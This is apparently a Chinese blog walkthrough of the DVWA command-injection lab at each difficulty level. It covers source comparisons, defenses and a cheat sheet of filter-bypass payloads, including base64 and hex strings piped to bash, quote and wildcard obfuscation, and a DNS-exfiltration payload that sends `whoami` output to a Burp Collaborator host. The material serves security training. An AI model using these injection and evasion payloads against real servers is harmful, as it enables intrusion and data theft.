DVWA —— Command Injection 命令注入

已于 2023-12-24 22:13:29 修改
阅读量238 收藏 2
点赞数
文章标签： 服务器 web安全
于 2023-05-21 07:53:09 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/YouTheFreedom/article/details/130788452
版权

目录

漏洞原理

Low

渗透思路

分号 ; 实现单行多命令执行

Medium

渗透思路 

Burp Collaborator Client 实现 DNS LOG 

短路逻辑与 & 实现命令连接绕过字符黑名单

源码对比

Low 源码 

Medium 源码 

对比小结

High

渗透思路 

通过短路逻辑运算符 | 绕过特殊字符黑名单

源码对比

Medium 源码

High 源码

对比小结 

Impossible

源码对比

High 源码

Impossible 源码

对比小结

防御

绕过

URL编码绕过

Base64编码绕过

Hex编码绕过

Oct编码绕过

偶读拼接绕过

内联执行绕过

引号绕过

通配符绕过

反斜杠绕过

[]匹配绕过

参考文章

漏洞原理

命令执行漏洞是指代码未对用户可控参数做过滤，导致直接带入执行命令的代码中，对恶意构造的语句，可被用来执行任意命令。黑客可在服务器上执行任意命令，写入后门，从而入侵服务器，获取服务器的管理员权限，危害巨大。

Low

渗透思路

按照页面提示正常请求，结果如下：

由此推测后端执行命令为 ping -c 4 8.8.8.8 

分号 ; 实现单行多命令执行

如果是 Linux 系统，多个命令可以一行表示，用 ; 分隔，比如 ping 8.8.8.8; pwd，为方便直接获得我们想要的结果，可以在输入框中直接填写 ;pwd，相当于执行命令 ping;pwd ，结果如下图所示，成功执行命令 pwd，获得当前目录。

Medium

渗透思路 

通过以上流量对比没有发现明显差别，对采取的防护措施也不甚清楚。但也不排除 payload 可能得到执行，首先想到的是 DNS LOG，为验证漏送是否存在，可以通过Burpsuit 自带的 DNS LOG 功能来测试。 

Burp Collaborator Client 实现 DNS LOG 

点击 Copy to clipboard，获得服务器地址 

输入栏填写内容

`whoami`.0opi955qacfutomats9ffkkap1vtji.burpcollaborator.net 

后台拼接的完整命令应该是

ping -c 4`whoami`.0opi955qacfutomats9ffkkap1vtji.burpcollaborator.net 

点击页面输入框后的 Submit，然后回到 Burp CollaboratorClient，点击 Poll now，快速获得消息，成功后证明了漏洞存在，之前 whoami 命令部分执行成功后变为 www-data 

注：有时 Burp Collaborator Client 可能会失效，不妨多试几次，或者自己搭建 DNS LOG 平台，如果是内网环境也可以直接用wireshark 等抓包工具捕获发出的 ICMP 流量。 

短路逻辑与 & 实现命令连接绕过字符黑名单

通过源码分析，得知程序对 && 和 ； 两个字符做了黑名单处理，这样之前的 ； 字符连接命令就无效了，但是连接 Linux shell 实现多命令执行的字符除了 && 和 ; 还有 &，如果有效的话，实现命令注入就比 DNS LOG 简单多了，实际证明很有效，结果如下： 

源码对比

Low 源码 

Medium 源码 

对比小结

通过对比可知，Medium 和 Low 两个的等级代码区别有：

  1. Medium 对 && 和 ；两个字符做了简单黑名单处理

High

渗透思路 

为方便起见，首先尝试之前效果较好的命令连接符，比如 ；，&，但是无一例外都没响应，那就用较为麻烦的 DNS LOG 来验证漏洞的存在。方法和 Medium 级别一样，通过 Burp CollaboratorClient 也没获得命令执行结果，但可以得出一个结果就是反引号 ` 也被过滤掉了。

通过短路逻辑运算符 | 绕过特殊字符黑名单

逻辑运算符是连接多命令执行的好帮手，除了 && 和 &，还有 || 和 |，通过测试， | 能够成功绕过黑名单，结果如下

源码对比

Medium 源码

High 源码

对比小结 

通过以上源码对比可知，相较于 Medium 源码：

  1. High 对参数 IP 进行 trim() 处理
  2. High 扩展了特殊字符黑名单
  3. 字符串 ’| ‘多了空格，无法有效屏蔽字符 '|'

Impossible

源码对比

High 源码

Impossible 源码

对比小结

通过对比可知，Medium 和 Low 两个的等级代码区别有：

  1. 开头进行 user_token 参数校验
  2. stripslashes 过滤用户输入反斜杠
  3. 按照 IP 地址四段点分十进制的格式，严格校验输入合法性
  4. 末尾重新生成新的 user_token  供下次新的请求校验，防止重放攻击

防御

  1. 开源框架，升级到最新版本
  2. 尽量不使用命令执行的函数
  3. 对可执行命令和代码使用白名单限制
  4. 用正则表达式对用户输入的内容进行充分处理
  5. 使用 WAF

绕过

URL编码绕过

关于$_SERVER[‘QUERY_STRING’]，他验证的时候是不会进行url解码的，但是在GET的时候则会进行url解码，所以我们只需要将关键词进行url编码就能绕过。

Base64编码绕过

echo MTIzCg==|base64 -d 其将会打印123 //MTIzCg==是123的base64编码

echo “Y2F0IC9mbGFn”|base64 -d|bash 将执行了cat /flag //Y2F0IC9mbGFn是cat /flag的base64编码

echo “bHM=”|base64 -d|sh 将执行ls

Hex编码绕过

echo “636174202f666c6167”|xxd -r -p|bash 将执行cat /flag

$(printf “\x63\x61\x74\x20\x2f\x66\x6c\x61\x67”) 执行cat /flag

{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0 执行cat /flag

Oct编码绕过

$(printf “\154\163”) 执行ls

偶读拼接绕过

?ip=127.0.0.1;a=l;b=s;a aab

?ip=127.0.0.1;a=fl;b=ag;cat /a aab;

内联执行绕过

echo “apwd” #输出a/root

?ip=127.0.0.1;cat$IFS$9ls

引号绕过

ca"“t => cat

mo”“re => more

in”“dex => index

ph”"p => php

通配符绕过

假设flag在/flag中:

/?url=127.0.0.1|ca"“t%09/fla?

/?url=127.0.0.1|ca”“t%09/fla*

假设flag在/flag.txt中:

/?url=127.0.0.1|ca”“t%09/fla???

/?url=127.0.0.1|ca”“t%09/fla*

假设flag在/flags/flag.txt中:

/?url=127.0.0.1|ca”“t%09/fla??/fla???

/?url=127.0.0.1|ca”"t%09/fla*/fla*

反斜杠绕过

ca\t => cat

mo\re => more

in\dex => index

ph\p => php

n\l => nl

[]匹配绕过

c[a]t => cat

mo[r]e => more

in[d]ex => index

p[h]p => php

参考文章

(RCE)命令执行和代码执行的原理、危害、防范、绕过_代码执行的危害_我是李现大王的博客-CSDN博客

命令执行(RCE)面对各种过滤，骚姿势绕过总结 - 知乎

银河外卖员
关注
  • 0
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
DVWA下的SQL注入
07-25
SQL
DVWA 之 Command Injection（命令注入）
RexHa的博客
09-29 1003
DVWA 之 命令注入三个等级通关
DVWA之SQL注入详解（包含知识点）
10-20
该文档是使用DVWA平台进行的SQL注入（low）级别的详细操作和知识点分析，包括什么是SQL注入，如何进行SQL注入，图文并茂，包含了几个非常不错的操作，解决了各种问题。
DVWA_Tool.rar
02-13
Web应用程序（DVWA）是一个很容易受到攻击的PHP / MySQL Web应用程序。其主要目标是帮助安全专业人员在法律环境中测试他们的技能和工具，帮助Web开发人员更好地了解保护Web应用程序的过程，并帮助学生和教师了解受控类中的Web应用程序安全性房间环境。DVWA的目标是通过简单直接的界面练习一些最常见的Web漏洞，具有各种难度。请注意，此软件存在记录和未记录的漏洞。
DVWA系列（二）——使用Burpsuite进行Command Injection（命令行注入）
橘子女侠
04-29 3013
1. Command Injection简介 （1）命令执行概念 命令执行漏洞是指可以随意执行系统命令，属于高危漏洞之一，也属于代码执行范围内；PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一；就好比说一句话木马<?php @eval($_POST['cmd']);?> （2）分类 代码过滤不严或无过滤； 系统漏洞造成的命令执行，bash破壳漏洞，该漏洞可以构...
DVWA-命令注入
weixin_51513059的博客
11-01 4530
DVWA-命令注入通关 命令注入相関概念及命令注入的防御
DVWA通关攻略之命令注入
勿山几已
05-06 1952
简要介绍命令注入漏洞，演示手工和burp爆破挖掘命令注入漏洞/RCE
DVWA-命令注入（Command Injection）
weixin_58954236的博客
08-19 213
ipconfig，net user（查看系统用户），dir（查看当前目录），find（查找包含指定字符的行），whoami（查看系统当前有效用户名）A&B（简单的拼接，AB之间无制约关系），A&&B（A执行成功才会执行B），A|B（A的输出作为B的输入），A||B（A执行失败，然后才会执行B）
DVWA通关攻略（适合新手）
夜思红尘的博客
04-12 8126
这里是关于网络安全入门的靶场DVWA，适合新手
Kali下利用XAMPP搭建DVWA及使用command injection
07-25
DVWA安装
DVWA靶场环境---新手入坑
10-28
DVWA靶场环境---新手学习web安全的必备靶场之一，DVWA (Dam Vulnerable Web Application)是用PHP+Mysql编写的一套用于常规WEB漏洞教学和检测的WEB脆弱性测试程序。包含了SQL注入、XSS、盲注等常见的一些安全漏洞。
2、DVWA——命令注入
qq_55202378的博客
08-29 279
DVWA 命令·注入
DVWA全系列--暴力破解、命令注入、跨站请求伪造
leriger的博客
09-23 283
做之前看代码（view source）如果在username中输入admin' or '1'='1对于$query = "SELECT * FROM `users` WHERE user = '$user' AND password = '$pass';就会变成$query = "SELECT * FROM `users` WHERE user = 'admin' or '1'='1' AND password = '$pass';
DVWA攻略-01-暴力破解-命令注入-CSRF
Xor0ne
07-15 513
1.Brute Force 参考文献： 作者：TOPKK7 链接：https://www.jianshu.com/p/3cc15f6b4fec 1.1、原理解析 通过对已知管理员用户名（或密码），对其登录口令（或登录用户）进行大量的尝试，从而得到真实电话IE用户名和密码。 常见暴力破解有三种形式： 固定账号对密码暴力破解。 2）固定密码对其账号暴力破解。 在得知账号具有规律性，或者通过某种方式获取到大量账号的前提下，固定密码对账号暴力破解。 使用网上流传的账号密码库进行撞库攻击。
DVWA靶场-中级难度
ljlrookiebird的博客
07-31 725
网络安全 - DVWA靶场
DVWA系列（二）——使用BurpSuite进行Command injection（命令行注入）
weixin_45116657的博客
08-21 879
Command Injection（命令行注入）简介： 1、命令执行概念： 命令执行漏洞是指可以随意执行系统命令，属于高危漏洞之一，也属于代码执行范围；PHP命令注入攻击漏洞是PHP应用程序中常见的脚本漏洞之一。也就好比一句话<?php @eval($_POST[cmd]);?> ...
DVWA-命令注入 全级别教程
weixin_44716769的博客
09-08 4558
命令注入 实验准备 在做DVWA攻防练习时发现，注入命令返回的信息竟然是乱码，猜测可能是因为DVWA是在windows下部署的原因，底层系统是中文GBK编码所致。 在输入127.0.0.1测试时，发现如下乱码 在PHPstudy的安装目录下（每个人不同，本例中）目录下，有个dvwaPage.inc.php文件，打开文件在277行修改，将UTF-8改为GBK或者GB2312即可。 重新输入命令，不再乱码 Low等级 查看源码 stristr(string,search,before_search) s
【linux】Bad owner or permissions on
最新发布
codears的博客
04-23 184
我们查看他的权限时发现它所链接的文件权限为777。
dvwa command injection
03-16
DVWA（Damn Vulnerable Web Application）是一个用于测试网络安全漏洞的虚拟机。在 DVWA 中，command injection（命令注入）是一种常见的漏洞类型，攻击者可以通过向 Web 应用程序发送恶意输入来在服务器上执行任意命令。 下面是一些漏洞利用的基本步骤： 1. 打开 DVWA，并导航到“Command Injection”（命令注入）页面。 2. 在输入框中输入想要执行的命令。例如：`ls`。 3. 单击“Submit”（提交）按钮。 4. 查看页面的输出结果，如果成功执行了命令，则会在页面上显示相关结果。 为了防止 command injection 漏洞，开发人员应该在代码中遵循以下最佳实践： 1. 输入验证：验证所有从用户那里接收到的输入，以确保它们是有效的。 2. 输出编码：将所有输出编码，以确保在输出到 Web 页面时，任何恶意代码都被转义。 3. 限制命令执行权限：Web 应用程序应该只能执行必要的命令，并且只有在需要时才应该执行。 4. 使用参数化查询：如果必须在 Web 应用程序中使用动态 SQL 查询，应该使用参数化查询，以避免 SQL 注入漏洞。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值